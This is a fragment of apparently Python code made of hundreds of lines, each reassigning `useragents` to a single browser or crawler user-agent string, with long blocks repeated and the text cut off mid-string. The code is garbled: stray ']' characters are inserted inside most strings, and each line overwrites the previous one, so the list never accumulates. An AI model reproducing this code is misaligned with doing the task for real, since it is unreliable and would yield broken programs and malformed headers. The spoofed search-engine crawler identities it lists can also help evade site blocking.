useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 